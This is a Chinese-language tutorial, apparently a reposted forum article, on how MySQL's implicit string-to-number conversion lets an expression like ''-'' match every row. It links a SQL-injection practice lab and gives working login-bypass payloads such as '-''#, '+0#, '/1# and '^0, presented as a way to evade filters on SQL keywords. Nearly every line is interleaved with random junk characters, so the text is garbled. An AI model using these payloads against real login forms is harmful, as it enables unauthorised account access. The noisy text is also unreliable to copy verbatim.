我们先来看这样一个场景。
& X3 o1 m# @# X" p/ A有以下表结构:
2 |- ?0 T4 o/ O: s4 P! w T0 N. ?) _, D* {/ C0 D
mysql> desc admin;' S8 J8 ]% `+ v' |. h
+----------+--------------+------+-----+---------+----------------+
( u, B+ F9 e+ C4 l3 @9 p) O9 D| Field | Type | Null | Key | Default | Extra |2 Q: A" ^# o& z( j% y
+----------+--------------+------+-----+---------+----------------+
0 g; R( }, \. z2 y| id | mediumint(9) | NO | PRI | NULL | auto_increment |2 @0 u0 E6 e9 T/ j. ]( u# \
| name | char(32) | NO | UNI | NULL | |
; C. v m1 x! o: d% c| password | char(32) | NO | UNI | NULL | |$ B: W8 ? v. V+ d6 h
+----------+--------------+------+-----+---------+----------------+
( U0 r) ~3 z9 z/ m3 rows in set (0.00 sec)
- O3 B8 Z! r3 {执行select * from admin;,成功返回所有记录内容。
! P; b3 V; `. I3 F2 Y. c* T$ \6 l6 A! R0 Z/ s0 @ @& N
, B3 H( t. K! {) q) G+----+--------+----------------------------------+
" ^5 O8 f& m/ O| id | name | password |
2 I% K: [6 y6 M. Q6 P& K+----+--------+----------------------------------+. P9 v. I, P- E) M7 S, U- Q
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
# |, p( L3 b& V" X( P# W| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
- M$ K8 j3 }8 r* ^; e& }| 4 | n00b | ff80e8508d39047460921792273533a4 |
4 x3 @( e- h% M% N( H7 N+----+--------+----------------------------------+ R3 v5 c% b0 K! ?$ O9 ?4 k0 E
3 rows in set (0.00 sec), b' _7 N; x1 {! R" A) n% U
执行select * from admin where name=”;,没有匹配到任何记录。
" k7 y" b5 z/ m( G Y
8 u: R* `& l& D$ A9 Z1 v" a+ D! D5 Xmysql> select * from admin where name = '';& H- p5 F& w; {- s% y2 V
Empty set (0.00 sec)
- L% W; n, d# G) N那么我们来执行select * from admin where name = ”-”;
" C+ |+ d8 W, \& l( N, Z
$ G" P# L; Y! K/ ~
0 m7 j/ B1 {( o* [* z+----+--------+----------------------------------+
: R* i4 r6 P) j5 m; k9 w$ C| id | name | password |
* V- F0 X( s/ b7 s+ u+ l3 M F+----+--------+----------------------------------+
; a" `; ~# e5 W, V: B6 v| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
~' f% @ R# o, L ]) P| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |0 x) [3 N5 {! ]4 J: l4 x) ~
| 4 | n00b | ff80e8508d39047460921792273533a4 |% }8 \4 r9 f2 ^+ Z% A: `8 }! t
+----+--------+----------------------------------+
$ k0 L7 {' g* ~7 ]7 D% f3 rows in set, 3 warnings (0.00 sec)
/ g) W1 P5 u9 r2 r' Z. Y, `( V8 E! b可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: : @0 ^3 j6 o3 ^3 Q
$ p% I6 ?8 c2 E& w+ w3 d i# `( T: wmysql> show warnings; }" t+ z: T) x' h6 |8 U+ p) W
+---------+------+------------------------------------------5 S; c# D# i f) G+ ^5 d
| Level | Code | Message: {1 b8 B. _$ z( G2 D2 t' _ r
+---------+------+------------------------------------------
; r# m2 M' d# I" f| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
* k3 K% P- N1 T2 N8 h( v| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s/ v* Y1 L% _. q; C7 W" Y7 N
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b, J$ M5 R$ w+ D9 t3 K3 g
+---------+------+------------------------------------------
. t2 j- v4 \: R6 E/ g5 R3 rows in set (0.00 sec)
( o1 g. H& L0 B4 K: A m8 l提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
& F8 h( m- _$ E( z
9 A; _: c6 Z' y; Vmysql> select ''-'';
4 W ~7 ~0 k# Y$ E& D9 O6 ^+-------+
- {- L R. x2 u# G| ''-'' |6 R. U0 L$ @2 c) k, }9 L
+-------+
) A) y8 c& `$ K0 ]| 0 |
+ W2 E* o5 Z5 V2 V+-------+8 Q& N) `7 D0 Z8 P- f
1 row in set (0.00 sec)
7 A6 ~( y6 J1 F0 X5 s7 Q2 F返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
$ X5 I# }6 t& f r! k7 q/ D$ R n5 d% A! }
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
' Z3 n& K* m5 S+-----------------------------------------------------+
, n. {" c/ s, p7 w6 S4 m| CAST((select name from admin limit 1,1) as DECIMAL) |
t1 d' o# R7 o$ x T) `* G, \) _+-----------------------------------------------------+
. l& D6 a8 i. W8 L9 V/ D| 0 |
5 z& J' E! j; P1 r- x1 M+-----------------------------------------------------+' J( [5 q9 I5 x' {
1 row in set, 1 warning (0.00 sec)* u; |- V$ y- T& x
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 6 U& T0 ~! p( m8 A: n, [; n
0 }/ y4 d1 G9 O/ @, F9 W4 J. x5 Q) ?
SQL注入场景: http://www.sqlzoo.net/hack/ / }: u1 p2 Z2 k$ b/ V
& N F5 J. o& J0 w: T: ?/ x
* C$ k3 D9 w' z3 U
+ Y) C5 j/ @8 y( N8 z% [" H6 Z& {; w/ y' {0 C4 c
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
D3 P: l: D1 o6 j. P: k6 x# y
3 L8 L; W8 b' V! w; u( x那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
* C, }2 \3 b0 a. ?% k+ \1 k& a/ d5 s+ [) M: Q
$ b) t3 i# e% m: B% i/ A
3 `! {$ ^0 L% r5 U' T2 {) C3 [7 Q. a: c, V2 V6 \6 L
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
4 r: e) Q. A6 l6 h% o
2 F- [. I5 ?% I2 Z 9 a0 K J8 ^7 r: t
, f# y; f& N+ f, l* x9 f除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可6 j; m& G* U$ p" s
# Y, L) _ N* I" ]' |9 r% f
9 P+ Y% w6 ^- {9 e
mysql> select ''/1;; Y, h7 X. \' m# @( k
+------+1 T% I! J0 n/ |) J
| ''/1 |
* ?7 R7 k! O+ x$ `2 j+------+
/ u* r/ N: M. a. d! C! i0 k| 0 |
5 I e N$ D- t4 }* l3 w! e) J+------+) T6 U1 b3 G6 H
1 row in set (0.00 sec)
( U5 b& p( v: k* n' b6 c& y: S类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
3 j! ^7 T; E" |+ {* j& c4 `! D! U
( D3 f" }, |, E4 y7 @2 _: \# _- M利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。7 F2 q+ v& K; z( N3 z4 l2 O* {* K
|
|